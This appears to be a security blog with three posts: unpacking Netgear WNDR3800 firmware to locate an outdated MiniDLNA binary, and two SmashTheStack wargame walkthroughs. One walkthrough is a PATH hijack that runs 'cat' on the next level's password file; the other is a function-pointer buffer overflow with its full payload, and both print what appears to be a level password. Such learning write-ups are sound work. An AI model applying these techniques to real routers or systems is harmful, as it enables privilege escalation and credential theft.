Reverse Engineering a Netgear WNDR3800 Router

1337

After doing a lot of research yesterday and today I decided to try my hand at hacking a router. I had never done reversing on hardware before so this was a first.

Initially I wanted to reverse engineer my own device, the Motorola SBG6580 but sadly discovered that since it is a gateway device its firmware was not available to the public. If I wanted to upgrade the firmware I’d have needed to call Comcast to get them to upgrade for me. Bummer. So instead, in this post I will be reverse engineering a Netgear WNDR3800 router. According to security researcher Zachary Cutlip it contains the same miniDLNA file as the WNDR3700 router that is susceptible to SQL injections so let’s see if we can find it in the file system.

For this we will begin by using binwalk, an open-source firmware tool created by /dev/ttys0 used to analyze, extract and reverse engineer firmware images. Definitely check out /dev/ttys0’s blog if you’re interested in learning more in depth about reverse engineering embedded systems. Let’s open the firmware image in binwalk and scan the firmware image for file signatures.

# binwalk WNDR3800-V1.0.0.44.img

DECIMAL   	HEX       	DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
192       	0xC0      	Squashfs filesystem, big endian, version 3.0, size: 10986170 bytes, 1530 inodes, blocksize: 65536 bytes, created: Tue Dec  4 03:28:04 2012

Luckily we don’t get any false positive and it looks like only one signature was detected. We can see here that it uses SquashFS, a popular compressed, read-only file system used by embedded systems. This is good because SquashFS runs off the Linux Kernel and we all know how much we like Linux. It looks like it was created on big endian architecture as well.
As a side note, some other popular file systems you may see when you run binwalk on firmware include romfs, crampfs and jffs2 among many more. All of these file systems were designed with simplicity in mind. Typically embedded systems use slow CPUs, minimal memory and rely on obfuscation for security.

OK, now back to the firmware image: let’s extract the filesystem and navigate to the new directory made.

# binwalk -e WNDR3800-V1.0.0.44.img

DECIMAL   	HEX       	DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
192       	0xC0      	Squashfs filesystem, big endian, version 3.0, size: 10986170 bytes, 1530 inodes, blocksize: 65536 bytes, created: Tue Dec  4 03:28:04 2012

# cd _WNDR3800-V1.0.0.44.img-4.extracted/ && ls
C0.squashfs  squashfs-root

Here we see binwalk extracted the SquashFS successfully and unpacked it conveniently in the same directory.
If we do a hexdump of the C0.squashfs file we can see the very first ascii string is ‘sqsh’.

00000000   73 71 73 68  00 00 05 FA  18 08 04 89  02 40 00 1F  C9 00 CB 00  70 00 8A 17  sqsh.........@......p...
00000018   70 08 04 87  00 03 00 00  8A CF 00 10  40 01 00 50  BD DE 44 00  00 00 00 33  p...........@..P..D....3
00000030   14 07 12 00  01 00 00 00  00 00 72 00  CB A5 14 00  00 00 00 00  A7 A2 BA 00  ..........r.............
00000048   00 00 00 00  A7 A2 B6 00  00 00 00 00  00 00 00 00  00 00 00 00  A7 31 7E 00  .....................1~.
00000060   00 00 00 00  A7 66 97 00  00 00 00 00  A7 A2 AE FF  FF FF FF FF  FF FF FF 00  .....f..................
00000078   3F 91 45 84  68 34 8A 09  0A 40 62 AE  9E 29 20 B2  FA 62 1E C3  68 B1 91 A7  ?.E.h4...@b..) ..b..h...
00000090   84 9A 28 6C  ED 3F B9 5A  5C CB EB 2C  F8 9F B2 F2  64 CD E9 9E  4B AE 35 04  ..(l.?.Z\..,....d...K.5.
000000A8   D9 ED B1 EA  62 33 BA 3B  E8 79 A4 8F  2F E8 F9 9A  A9 CE A9 71  C8 8C 27 10  ....b3.;.y../......q..'.
000000C0   23 51 38 C9  57 80 66 D8  65 60 E8 3C  8E 75 A6 F9  63 79 30 70  B5 85 E6 4C  #Q8.W.f.e`.<.u..cy0p...L
000000D8   47 43 AD 0E  FB 6A 75 5D  1E 9B 84 4A  02 24 6C 8F  EF 78 10 9C  3F 46 0A A3  GC...ju]...J.$l..x..?F..
000000F0   E0 0F 7B 07  F4 31 49 B9  92 CA 58 2D  F6 A6 22 1B  2F 53 A1 2E  E9 F2 FA C6  ..{..1I...X-.."./S......
00000108   7C AA 5E D9  49 98 D5 E0  A7 D0 95 99  3D 13 ED 09  BC B7 01 69  B6 C0 DF 2E  |.^.I.......=......i....
00000120   A1 0B FF 04  38 BA BB 49  C7 86 78 27  5D 7A 19 66  A6 76 1C 56  45 12 EA CD  ....8..I..x']z.f.v.VE...
00000138   98 5B 64 97  2E 9B B0 C2  CC 30 C4 37  28 4E 83 82  BA 3F D5 EE  C7 7C 03 21  .[d......0.7(N...?...|.!
00000150   83 28 46 0E  FA 31 A6 C2  96 15 32 46  A8 0D 7D 7D  1F 71 DE F8  DB A2 7B C4  .(F..1....2F..}}.q....{.
00000168   DC 04 85 A7  6C BA D0 BD  A8 60 D3 32  29 B1 45 11  6B CF 88 56  05 75 60 20  ....l....`.2).E.k..V.u`
00000180   CB 7C 30 8A  85 75 8B 66  F5 A6 45 D7  79 9C AB 9B  59 52 A0 7F  9D D8 E4 25  .|0..u.f..E.y...YR.....%

This is the SquashFS magic string in big endian order. If we were looking at a SquashFS file set to little endian order we would find ‘hsqs’ instead.

Let’s take a look inside the root directory and see what we find.

# cd squashfs-root/ && ls
bin                       dev  firmware_region  firmware_version  hardware_version  image  lib  module_name  proc  sbin  tmp  var
default_language_version  etc  firmware_time    hardware_id       home              jffs   mnt  opt          rom   sys   usr  www

Looks like we have a bunch of files and directories to play with! W00t. Now let’s find that miniDLNA file…

# find . -name "minidlna"
./usr/sbin/minidlna

Sure enough, there it is. Now let’s do some research to verify that this is exploitable. After looking online, this is what I find:

“MiniDLNA prior to v1.1.0 (http://sourceforge.net/projects/minidlna/)
is prone to a variety of issues which could be used to take control of
a host running this software.”

Cool. Let’s verify we have an early enough version on this router.

# strings minidlna | grep version
sqlite3_libversion
sqlite3_libversion_number
	-V print the version number
Starting ReadyDLNA version 1.0.19 [SQLite %s].
SQLite library is old.  Please use version 3.5.1 or newer.

Awesome.

Level 4 SmashTheStack Walkthrough

So, after a busy week of school and National Cyber League I finally got a chance to work on level 4.
Again, for level 4 we are given an executable binary and a C source code file. This time, when we run the binary all it does is gives us a list of UIDs and GIDs. It also seems to run with level 5 permissions.

level4@io:/levels$ ./level04
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1005(level5),1004(level4),1029(nosu)

Interesting. Ok, so now let’s look at the source code.

#include <stdlib.h>

int main() {
	
	system("id");

	return 0;
}

Looks like all it does is do a system call passing in id as an argument.
After researching a little and reading the man page, we find out that the system() command finds the program specified in the argument to execute by searching from left to right in an environment variable called PATH. According to Wikipedia,

“PATH is an environment variable on Unix-like operating systems, DOS, OS/2, and Microsoft Windows, specifying a set of directories where executable programs are located.”

If it finds the specified file within one of those directories it will execute it.
In this case, id is being passed in and the system() command searches through all the paths defined in the PATH until it finds it in the /usr/bin directory.
If we do an echo command we can see which directories have been defined in our PATH variable by the server.

level4@io:/levels$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

So now it becomes clear that we must modify the id program to print the .pass file located in /home/level5. When we go inside /usr/bin and try to modify it in VIM to cat the password file it looks like we are unable to because we don’t have the correct permissions. So now what?

Before we proceed further, remember that the system() command finds the program specified in its argument by searching from left to right through the set of directories defined in the PATH environment variable.
So what we try to do now is make a program called id in a directory that we have the permissions to modify files in, and export the directory to the beginning of the PATH variable to basically “catch” the call to the other id program when we run the level04 binary.

Based on the previous levels, we can assume that we have access to a /tmp/level4 directory which we can modify files in. After navigating ourselves to that directory, we open up a new C file in VIM and write a simple modified id program to print out the contents of the password file.

#include <stdio.h>
int main()
{
    system("cat /home/level5/.pass");
}

Then we compile it.

level4@io:/tmp/level4$ gcc -o id id.c

Our last step is to export this directory to the PATH variable.
We do this using the following command.

level4@io:/tmp/level4$ PATH=/tmp/level4:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Placing the path to the level4 directory in the beginning forces the system to search there first. When the modified id program is found within that directory, it discontinues searching and the original id program is never run.

Now when we run the level04 binary we should get the password.

level4@io:/levels$ ./level04
Zx5VdzACNMY9lQ

And there you have it! Onto level 5…

– JW

Level 3 SmashTheStack Walkthrough

Last night I started doing the Smash the Stack challenges and decided I would do a write up for Level 3. The reason I am doing a writeup for level 3 is because I learned a lot from it and I believe documenting my thought process will help me better remember and cement that knowledge. This is my first attempt at a writeup so I’m open to any suggestions/constructive criticism. So without further ado, let’s begin.

Upon logging into the level 3 challenge, we are given an executable binary and its corresponding source code. When we run the binary without any arguments nothing is returned and the program exits. So the next step will be to analyze the C source code to see what happened. When we cat it, this is what we get:

//bla, based on work by beach

#include <stdio.h>
#include <string.h>

void good()
{
        puts("Win.");
        execl("/bin/sh", "sh", NULL);
}
void bad()
{
        printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good);
}

int main(int argc, char **argv, char **envp)
{
        void (*functionpointer)(void) = bad;
        char buffer[50];

        if(argc != 2 || strlen(argv[1]) < 4)
                return 0;

        memcpy(buffer, argv[1], strlen(argv[1]));
        memset(buffer, 0, strlen(argv[1]) - 4);

        printf("This is exciting we're going to %p\n", functionpointer);
        functionpointer();

        return 0;
}

Let’s examine the main function first. We notice that there’s a void functionpointer function that points to the memory address bad is stored at. We also see based on the if statement that the program exits without returning anything unless it is given an argument that is at least 4 chars long. If it is, it calls memcpy which copies the argument into a buffer of size 50 and calls memset which sets all the values of the buffer to 0 up until the last word-length position. Then it tells us we’re going to the memory address of the bad function instead of the memory address of the good function which is where we want to be. So, we have to somehow make functionpointer point to memory address 0x8048474. But how do we do this?

Keeping in mind the stack grows from high memory addresses to low memory addresses, let’s take another look at this section of main and think about how each step affects the stack:

void (*functionpointer)(void) = bad;
char buffer[50];

if(argc != 2 || strlen(argv[1]) < 4)
  return 0;

memcpy(buffer, argv[1], strlen(argv[1]));

Before we proceed, for those unfamiliar with assembly, everytime you enter a new function a new stack frame is created on the stack and the $esp register changes to point to the highest memory address in the new stack frame.
As we can see in the code, a new stackframe has just been created for the memcpy function which essentially copies whatever the user inputted into the buffer. Another thing to remember here is that buffers are written from low to high memory addresses. Opposite of how the stack grows. Now, since our buffer is set to size 50 and we don’t see any checks to validate the size of the input we can assume that if we pass in a large enough argument, we can perform a simple buffer overflow exploit to overwrite the address of bad and change it to the address of good to get the flag. Now we just have to figure out how large this argument needs to be since GCC pads the stack for reasons unknown to me whenever it compiles a program. (So no, it won’t be just 50) Let’s open the binary in gdb and find out.

(gdb) disas main
Dump of assembler code for function main:
   0x080484c8 <+0>:	push   %ebp
   0x080484c9 <+1>:	mov    %esp,%ebp
   0x080484cb <+3>:	sub    $0x78,%esp
   0x080484ce <+6>:	and    $0xfffffff0,%esp
   0x080484d1 <+9>:	mov    $0x0,%eax
   0x080484d6 <+14>:	sub    %eax,%esp
   0x080484d8 <+16>:	movl   $0x80484a4,-0xc(%ebp)
   0x080484df <+23>:	cmpl   $0x2,0x8(%ebp)
   0x080484e3 <+27>:	jne    0x80484fc <main+52>
   0x080484e5 <+29>:	mov    0xc(%ebp),%eax
   0x080484e8 <+32>:	add    $0x4,%eax
   0x080484eb <+35>:	mov    (%eax),%eax
   0x080484ed <+37>:	mov    %eax,(%esp)
   0x080484f0 <+40>:	call   0x804839c <strlen@plt>
   0x080484f5 <+45>:	cmp    $0x3,%eax
   0x080484f8 <+48>:	jbe    0x80484fc <main+52>
   0x080484fa <+50>:	jmp    0x8048505 <main+61>
   0x080484fc <+52>:	movl   $0x0,-0x5c(%ebp)
   0x08048503 <+59>:	jmp    0x8048579 <main+177>
   0x08048505 <+61>:	mov    0xc(%ebp),%eax
   0x08048508 <+64>:	add    $0x4,%eax
   0x0804850b <+67>:	mov    (%eax),%eax
   0x0804850d <+69>:	mov    %eax,(%esp)
   0x08048510 <+72>:	call   0x804839c <strlen@plt>
   0x08048515 <+77>:	mov    %eax,0x8(%esp)
   0x08048519 <+81>:	mov    0xc(%ebp),%eax
   0x0804851c <+84>:	add    $0x4,%eax
   0x0804851f <+87>:	mov    (%eax),%eax
   0x08048521 <+89>:	mov    %eax,0x4(%esp)
   0x08048525 <+93>:	lea    -0x58(%ebp),%eax
   0x08048528 <+96>:	mov    %eax,(%esp)
   0x0804852b <+99>:	call   0x804838c <memcpy@plt>
   0x08048530 <+104>:	mov    0xc(%ebp),%eax
   0x08048533 <+107>:	add    $0x4,%eax
   0x08048536 <+110>:	mov    (%eax),%eax
   0x08048538 <+112>:	mov    %eax,(%esp)
   0x0804853b <+115>:	call   0x804839c <strlen@plt>
   0x08048540 <+120>:	sub    $0x4,%eax
   0x08048543 <+123>:	mov    %eax,0x8(%esp)
   0x08048547 <+127>:	movl   $0x0,0x4(%esp)
   0x0804854f <+135>:	lea    -0x58(%ebp),%eax
   0x08048552 <+138>:	mov    %eax,(%esp)
   0x08048555 <+141>:	call   0x804835c <memset@plt>
   0x0804855a <+146>:	mov    -0xc(%ebp),%eax
   0x0804855d <+149>:	mov    %eax,0x4(%esp)
   0x08048561 <+153>:	movl   $0x80486c0,(%esp)
   0x08048568 <+160>:	call   0x80483ac <printf@plt>
   0x0804856d <+165>:	mov    -0xc(%ebp),%eax
   0x08048570 <+168>:	call   *%eax
   0x08048572 <+170>:	movl   $0x0,-0x5c(%ebp)
   0x08048579 <+177>:	mov    -0x5c(%ebp),%eax
   0x0804857c <+180>:	leave
   0x0804857d <+181>:	ret
End of assembler dump.
(gdb) b *0x08048530
Breakpoint 1 at 0x8048530
(gdb) run AAAAAAAA
Starting program: /levels/level03 AAAAAAAA

Breakpoint 1, 0x08048530 in main ()
(gdb) x/64wx $esp
0xbffffc50:	0xbffffc70	0xbffffe8a	0x00000008	0x00000001
0xbffffc60:	0xb7fff908	0xb7e878d0	0xbffffd74	0xbffffe7a
0xbffffc70:	0x41414141	0x41414141	0x0000002f	0xb7fd1ff4
0xbffffc80:	0x00000000	0x080497c8	0xbffffc98	0x08048338
0xbffffc90:	0xb7ff0590	0x080497c8	0xbffffcc8	0x080485a9
0xbffffca0:	0xb7fd2304	0xb7fd1ff4	0x08048590	0xbffffcc8
0xbffffcb0:	0xb7eb7505	0xb7ff0590	0x0804859b	0x080484a4
0xbffffcc0:	0x08048590	0x00000000	0xbffffd48	0xb7e9ee16
0xbffffcd0:	0x00000002	0xbffffd74	0xbffffd80	0xb7fe19d0
0xbffffce0:	0xb7ff6821	0x0177ff8e	0xb7ffeff4	0x08048274
0xbffffcf0:	0x00000001	0xbffffd30	0xb7fefc16	0xb7fffac0
0xbffffd00:	0xb7fe1cc0	0xb7fd1ff4	0x00000000	0x00000000
0xbffffd10:	0xbffffd48	0x676a0670	0x4b481060	0x00000000
0xbffffd20:	0x00000000	0x00000000	0x00000002	0x080483d0
0xbffffd30:	0x00000000	0xb7ff59c0	0xb7e9ed3b	0xb7ffeff4
0xbffffd40:	0x00000002	0x080483d0	0x00000000	0x080483f1

As we can see here, I disassembled main and set a breakpoint to suspend all threads of execution at memory address 0x08048530 which is right after memcpy is called to store the user input inside buffer. I then run the program passing in the string “AAAAAAAA”.
The

x/64wx $esp

instruction basically allows us to examine 64 4-byte blocks of hexadecimal words in increasing memory starting at the ESP register. Why do we choose to start at ESP? Because the stack pointer always points to the top of the stack. It’s a good reference point to find out the current location of the stack.

When we examine the blocks, we notice that at memory addresses 0xbffffc70 and 0xbffffc74 there are two blocks:

0x41414141 0x41414141

Yup, you guessed it. This is where our input “AAAAAAAA” was stored in memory. How do we know this? Because the character “A” is 41h or 0x41 in hex. We also can see that at memory address 0xbffffcbc is the location of the bad function that we want to overwrite. How do we know it is at memory address 0xbffffcbc? Because remember, each of these blocks is 4 bytes long and the decimal number “12” is “C” in hex. So, 0xb7eb7505 is stored at the 4 byte block starting at address 0xbffffcb0…0xb7ff0590 is stored at the 4 byte block starting at address 0xbffffcb4…0x0804859b is stored at the block starting at 0xbffffcb8…and 0x080484a4 is stored at the block starting at 0xbffffcbc.
Now, let’s perform the following calculation to figure out just how long our input needs to be to overwrite this memory address.

0xbffffcbc - 0xbffffc70 = 0x4C

Again, translating 0x4C from hex to decimal gives us 76.
Awesome. Now let’s run the program again, this time using python to pass in 76 bytes of garbage followed by the address of the good function in little-endian format.

level3@io:/levels$ ./level03 `python -c 'print "A"*76+"\x74\x84\x04\x08"'`
This is exciting we're going to 0x8048474
Win.
sh-4.2$ 

And we find our flag in the Level 4 folder in the .pass file.

– Josh